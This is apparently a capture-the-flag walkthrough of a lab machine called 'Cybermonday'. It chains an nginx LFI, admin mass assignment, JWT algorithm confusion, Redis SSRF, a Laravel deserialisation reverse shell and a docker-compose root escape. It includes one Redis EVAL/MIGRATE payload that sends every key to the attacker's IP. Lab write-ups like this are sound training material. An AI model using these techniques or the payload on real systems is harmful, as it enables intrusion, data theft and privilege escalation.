Cybermonday
Gaining Access
Nmap scan:
$ nmap -p- --min-rate 4000 10.129.214.150
Starting Nmap 7.93 ( https://nmap.org ) at 2023-08-21 15:25 +08
Nmap scan report for 10.129.214.150
Host is up (0.17s latency).
Not shown: 64394 closed tcp ports (conn-refused), 1139 filtered tcp ports (no-response)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open httpDid a detailed scan as well:
$ nmap -p 80 -sC -sV --min-rate 4000 10.129.214.150
Starting Nmap 7.93 ( https://nmap.org ) at 2023-08-21 15:26 +08
Nmap scan report for 10.129.214.150
Host is up (0.17s latency).
PORT STATE SERVICE VERSION
80/tcp open http nginx 1.25.1
|_http-server-header: nginx/1.25.1
|_http-title: Did not follow redirect to http://cybermonday.htbWe can add this host to our /etc/hosts file.
Web Enumeration -> Misconfigured Nginx Alias LFI
The website shows a shop:

There are a few products available:

When the traffic is proxied, we can see that there are some JWT tokens being passed around:

I tried creating a user and logging in.

The site is powered by PHP based on the X-Powered-By header. Since there was nothing much here, I did a feroxbuster scan to view the hidden directories. This revealed the assets directories with loads of stuff, but I couldn't really use all of it.
Since this was an nginx server, I checked Hacktricks and tested a few things, such as the nginx LFI exploit:

This caused a 403 to be returned, indicating that it might work. gobuster confirms this:
We can dump out the .git repository we found using git-dumper:
I also read the .env file using this method:
We seem to have an APP_KEY variable that might be handy later. Redis is also present on the machine.
Source Code Review -> Admin Takeover
There were quite a lot of files from the repository.
This was using the Laravel framework to operate, as most of the backend code is written in PHP. The routes/web.php file contained some information about the admin dashboard:
The ProfileController.php file was the one used to update the user's password:
The next thing I wanted to find out was how the application determines if a user is an administrator or not, and the User.php file within app/Models has just that:
It seems that there's an isAdmin boolean variable being set. We can change this to have a value of 1. Based on the code for the Profile Update, it seems to be taking parameters and directly passing them into the database.
I appended isAdmin=1 to the end of the POST parameters and updated my user's profile, which worked since the Dashboard appeared!

Admin Dashboard -> Webhook Subdomain
The changelog of the administrator's dashboard was the most interesting:

The link redirected us to webhooks-api-beta.cybermonday.htb, which we can add to the hosts file. Visiting that site revealed some kind of API:

Webhooks open up the possibilities of SSRF, and from the earlier .env file, we know that this machine uses Redis on port 6379, which we might need to interact with to get a password or something. The sendRequest action seems to be vulnerable to SSRF somehow.
To use this API, we first need to create a user.

Afterwards, logging in would return an x-access-token for us to use:

However, we are not authorized to create webhooks on this site with this token:

It's worth noting that the JWT token stored contains our user ID and our username:

There should be a way to spoof this token or get the secret required.
Algorithm Confusion -> Webhooks Access
I did a few scans using different wordlists via gobuster, and found some interesting stuff:
There was a jwks.json file present, and here's the contents of the file:
Seems that we have extra algorithm information about the JWT. When searching for exploits pertaining to this file, I found a page talking a bit about Algorithm Confusion exploits:
Portswigger has done something similar as well:
Using jwt_tool.py (which I found on Hacktricks), we can create another .pem file to use:
With this PEM, we can spoof tokens by changing the algorithm to HS256 instead of RS256. RS256 requires a public and private key, whereas HS256 only requires one key. SInce we have changed the algorithm used, the HS256 algorithm would use the public PEM key to sign the token.
I used Burpsuite extensions (JOSEPH and JWT Editor Keys) to attack this. First, we can edit the JWT to have this as the payload and header:

Afterwards, we can sign the token using the PEM string we got earlier using JOSEPH. Since JWTs are 3 separate fields separated by . characters, I just removed the signature part of the token from JWT Editor Keys:

Using this token, we can then access the /webhooks endpoint:

Redis SSRF -> Deserialisation RCE
Had some help here.
Now that we can create our own webhooks, we create a webhook with the action parameter set to sendRequest:

Using this, we can then send requests from the server:

Attempts to use any other protocol fails:

Very early on, we saw that we had a Redis server operating on the server when we read the .env file through the nginx LFI exploit. I know that its possible to interact with Redis through HTTP requests, and the SSRF for this machine returns the message retrieved from its request.
From the .env file, the REDIS_HOST variable is set to redis, indicating that we have to use that. On the Hacktricks page for Redis, there's an interesting part that talks about slaveof.

I used this JSON object:
When I opened a listener port, this is what I got:

Hacktricks mentions that we might be able to control the master instance (the machine) with our slave. This means that we could potentially read stuff within the machine. To exploit this, we can first create a redis-server to accept incoming connections and retrieve output from the commands I sent via webhooks.
I found a blog in Chinese that does cover this a bit:
Following this, I started a redis-server with the protected mode turned off to allow connections from anywhere:
With this, we now need a way to export all the keys from the remote Redis server to our local machine. We can do so with this command I found here:
{% embed url="https://github.com/dxa4481/whatsinmyredis" %}
This was the payload I used:
{% code overflow="wrap" %} `
``json {"url":"http://redis:6379/","method":"EVAL 'for k,v in pairs(redis.call("KEYS", "")) do redis.pcall("MIGRATE","10.10.14.32","6379",v,0,200) end' 0\r\n1\r\n$20\r\n"}
We might obtain a read only replica error, which can be fixed with this:
After all of this, we can use redis-cli to view the keys present:
Since we have the APP_KEY variable retrieved earlier from the .env file, we can decode this cookie and potentially change it to have a reverse shell payload (if its being deserialised).
We can decrypt the cybermonday_session JWT token using this script from Hacktricks:
This gives the laravel_session cookie ID. Using this, we can attempt to set this to a PHP serialised object to get RCE since the cybermonday_session uses this value since we can manipulate the cookie value.
After some testing, I found that Laravel/RCE16 is the correct gadget chain to use:
Afterwards, I set the value of the cookie to my payload:
Upon refreshing the page, I got a shell as www-data:

Privilege Escalation 1
Docker Escape -> MySQL
We are in a Docker container, so let's look for ways to escape this thing. I first checked the environment variables, and there were quite a few:
One of the things that stood out was the changelog.txt within /mnt, and within it I found the user flag:
I couldn't read the user flag, but at least I got john as the user. There was also mention of the MySQL database, along with the username and password being root:root. I port forwarded this to my machine using chisel:
There were some databases present:
Within webhooks_api, we can see the different webhooks I created:
Not much here though.
Docker Registry -> Source Code -> LFI
There are likely more hosts present on the 172.18.0.0/24 subnet, which is the subnet the Docker container is on (read /etc/hosts file). To enumerate this, we can change our chisel command to use the SOCKS proxy instead of just port forwarding 1 port:
Afterwards, I downloaded and ran the nmap binary on the webhook Docker:
There's a registry one, which is a hint towards enumerating a Docker registry instance:
We can change the chisel port forwarding commands to port foward 172.18.0.6:5000 and then use docker pull to download the image:
Afterwards, we can run the image:
Within this image, we can see some new files:
Within the LogsController.php file, we find an indication of an API being used, as well as an LFI:
It appears that we can read files on the machine. Based on the imported modules for this file, we can find this API key within app/helpers/Api.php:
We just need to specify a HTTP header X-Api-Key. Using this, we can try to exploit LFI next. Within the LogsController.php code, there's this interesting part:
The name of the webhook seems to directly taken and used as the $logPath variable. We cannot use ../../../../ as the name using the web API. However, we do have access to the MySQL database.
Login to the MySQL database and insert this entry:
Now, we just need to bypass the string checks within the code using this:

LFI works! We don't have many files to read, so I started by reading the files within /proc to find stuff. Within the /proc/self/environ file, we can find a new password:

With this password, we can finally ssh in as the user and read the user flag:

Privilege Esclation 2
Sudo Privileges -> Docker-Compose YML File
john has can run sudo for one command:
Here's the script:
Essentially, this runs docker-compose as root using any YML file we create to spin up a Docker container based on an image we specify. There's also a lot of checks on the parameters we can and cannot specify.
Based on the script, we have to set the following:
Version set to 3
No symlinks can be used
No privileges can be set via
configRead only permissions
I referred to the documentation for Docker Compose file version 3 to create the YML file with all capabilities:
Using the above file would give us a reverse shell in the Docker container we create:

Afterwards, we can mount back onto the main machine since we have all capabilities. However, this does not work for some reason:
As it turns out, AppArmor may be running on the thing preventing us from reading it:
We have to specify the security_opt parameter within our YML file:
We can then mount properly:
Using this, we can write our public key to the root user's .ssh file:
We can then ssh in as root:

Rooted!
Last updated